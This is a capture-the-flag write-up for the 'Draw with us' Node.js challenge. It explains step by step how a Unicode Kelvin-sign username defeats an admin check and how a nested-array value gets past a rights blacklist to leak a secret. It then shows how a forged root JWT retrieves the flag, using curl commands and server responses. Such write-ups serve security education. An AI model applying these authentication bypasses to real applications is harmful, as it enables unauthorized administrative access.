Draw with us

Challenge description

Come draw with us!

Hint! Changing your color is the first step towards happiness.

Author: stackola

First impression

At first glance we thought it was a black box challenge. Later we found the server side code called app.js. The server side code was written in node.js with express.js framework. After we saw

app.get("/flag", (req, res) => {
 // Get the flag
 // Only for root
 if (req.user.id == 0) {
  res.send(ok({ flag: flag }));
 } else {
  res.send(err("Unauthorized"));
 }
});

we knew we need to somehow get the root credentials.

First lead

We saw that for all API calls you need to be authenticated, except for 3 whitelisted calls:

const config = {
    ...
  whitelist: ["/", "/login", "/init"]
    ...
};
app.use(
  jwt({ secret: jwtSecret }).unless({
    path: config.whitelist
  })
);

in /init call we noticed something interesting:

app.post("/init", (req, res) => {
  // Initialize new round and sign admin token
  // RSA protected!
  // POST
  // {
  //   p:"0",
  //   q:"0"
  // }
  let { p = "0", q = "0", clearPIN } = req.body;

  let target = md5(config.n.toString());

  let pwHash = md5(
    bigInt(String(p))
      .multiply(String(q))
      .toString()
  );
...
  //Sign the admin ID
  let adminId = pwHash
    .split("")
    .map((c, i) => c.charCodeAt(0) ^ target.charCodeAt(i))
    .reduce((a, b) => a + b);
 //END Sign the admin ID 
  console.log(adminId);

  res.json(ok({ token: sign({ id: adminId }) }));
});

p and q are user controlled variables and //Sign the admin ID paragraph is responsible for XORing the md5 of config.n and p*q byte by byte, then summing the resulting array.

If p*q == n , then adminId will be 0, because the XOR results in array of 0’s. In other words, we get a correctly signed JWT with id==0 (root).

So if we give p=n, q=1 we will achieve our goal. The problem is we don’t know config.n.

config.n leak

Ok, the goal is clear – leak config.n, but how?

The serverInfo API call caught our eyes:

app.get("/serverInfo", (req, res) => {
  // Get server info
  // Only for logged in users
  let user = users[req.user.id] || { rights: [] };
  let info = user.rights.map(i => ({ name: i, value: config[i] }));
  res.json(ok({ info: info }));
});

After authentication, the server prints you config values based on your permissions.

By default, the ‘rights’ array doesn’t includes n:

let u = {
    username: req.body.username,
    id: uuidv4(),
    color: Math.random() < 0.5 ? 0xffffff : 0x0,
    rights: ["message","height","width","version","usersOnline","adminUsername","backgroundColor" ]
  };

Maybe we can somehow add this permission?

Yes! If you are root, you can basically add permissions with updateUser API call:

app.post("/updateUser", (req, res) => {
  // Update user color and rights
  // Only for admin
  // POST
  // {
  //   color: 0xDEDBEE,
  //   rights: ["height", "width", "usersOnline"]
  // }
  let uid = req.user.id;
  let user = users[uid];
  if (!user || !isAdmin(user)) {
    res.json(err("You're not an admin!"));
    return;
  }
  let color = parseInt(req.body.color);
  users[uid].color = (color || 0x0) & 0xffffff;
  let rights = req.body.rights || [];
  if (rights.length > 0 && checkRights(rights)) {
    users[uid].rights = user.rights.concat(rights).filter(onlyUnique);
  }

  res.json(ok({ user: users[uid] }));
});

But wait, the admin verification looks a bit strange. we would expect that the server will just check if the req.user.id==0 but it calls another function: isAdmin(). Lets take a closer look:

function isAdmin(u) {
  return u.username.toLowerCase() == config.adminUsername.toLowerCase();
}

Maybe we can find a weird letter that makes toLowerCase() return a normal letter? After googling a bit, we found that article . BINGO!

Let see if it works (The in hacKtm is the special letter 0x212a)

curl --data '{"username":"hacKtm"}' -H "Content-Type: application/json; charset=utf-8" -X POST http://167.172.165.153:60001/login
{"status":"ok","data":{"token":"VALID_TOKEN"}}

Now,

curl --data '{"color":"0xFF0000", "rights": ["n"]}' -H "Content-Type: application/json" -H "Authorization: Bearer VALID_TOKEN" -X POST http://167.172.165.153:60001/updateUser
{"status":"ok","data":{"user":{"username":"hacKtm","id":"3842d4dd-31fe-4499-bcc0-b60d7e83e74e","color":16711680,"rights":["message","height","width","version","usersOnline","adminUsername","backgroundColor"}}}

Nice! We bypassed the isAdmin function! But wait…. our n permission not included. What happen?

That is what happen:

function checkRights(arr) {
  let blacklist = ["p", "n", "port"];
  for (let i = 0; i < arr.length; i++) {
    const element = arr[i];
    if (blacklist.includes(element)) {
      return false;
    }
  }
  return true;
}

n is black listed permission. We thought of two ways to get around:

  1. Bypass this check if (blacklist.includes(element)) {...}.
  2. InserverInfo API call let info = user.rights.map(i => ({ name: i, value: config[i] })); accesses config values without checking the indexi. We can try to play with i so config[i]==config[n] && i!==n.

After unsuccessful tries to bypass the blacklist, we came up with the idea that config[["n"]] will give us what we want. Yes, config[["n"]] == config["n"]!

conclusion:

LOGIN with admin

{"status":"ok","data":{"token":"VALID_TOKEN"}}
curl --data '{"username":"hacKtm"}' -H "Content-Type: application/json; charset=utf-8" -X POST http://167.172.165.153:60001/login

*Use the token from now on

UPDATEUSER with the “n” right

curl --data '{"color":"0xFF0000", "rights": [["n"]]}' -H "Content-Type: application/json" -H "Authorization: Bearer VALID_TOKEN" -X POST http://167.172.165.153:60001/updateUser
{"status":"ok","data":{"user":{"username":"hacKtm","id":"3842d4dd-31fe-4499-bcc0-b60d7e83e74e","color":16711680,"rights":["message","height","width","version","usersOnline","adminUsername","backgroundColor",["n"]]}}}

SERVERINFO to get ‘n’ value

curl -H "Content-Type: application/json" -H "Authorization: Bearer VALID_TOKEN" http://167.172.165.153:60001/serverInfo
{"status":"ok","data":{"info":[{"name":"message","value":"Hello there!"},{"name":"height","value":80},{"name":"width","value":120},{"name":"version","value":5e-324},{"name":"usersOnline","value":130},{"name":"adminUsername","value":"hacktm"},{"name":"backgroundColor","value":8947848},{"name":["n"],"value":"54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979"}]}}

INIT with p=n, q=1

curl --data '{"p":"54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979", "q":"1"}' -H "Content-Type: application/json" -H "Authorization: Bearer VALID_TOKEN" -X POST http://167.172.165.153:60001/init
{"status":"ok","data":{"token":"VALID_ADMIN_TOKEN"}}

GET FLAG with the token received

curl -H "Content-Type: application/json" -H "Authorization: Bearer VALID_ADMIN_TOKEN" http://167.172.165.153:60001/flag
{"status":"ok","data":{"flag":"HackTM{Draw_m3_like_0ne_of_y0ur_japan3se_girls}"}}